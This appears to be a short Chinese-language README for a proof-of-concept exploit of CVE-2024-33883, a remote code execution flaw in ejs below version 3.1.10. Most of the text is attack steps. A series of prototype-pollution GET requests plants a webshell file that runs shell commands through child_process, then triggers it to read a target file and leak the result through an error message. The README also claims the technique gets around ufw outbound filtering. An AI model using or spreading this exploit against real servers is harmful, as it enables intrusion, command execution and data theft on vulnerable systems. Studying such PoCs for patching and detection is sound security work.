grantzile/poc-cve-2024-33883CVE-2024-33883 的 PoC，ejs 的 RCE 漏洞。
1. ejs/lib/ejs.js - line 580, 636, 637
1. GET /pollute?target=client&value=1
2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");
3. GET /
- Inject webshell
4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");
5. GET /
- Activate webshell
上述PoC可以绕过ufw防火墙的出站数据包丢弃。
所有低于3.1.10的版本都容易受到此类攻击。
这是RCE漏洞，请勿在生产服务器上滥用。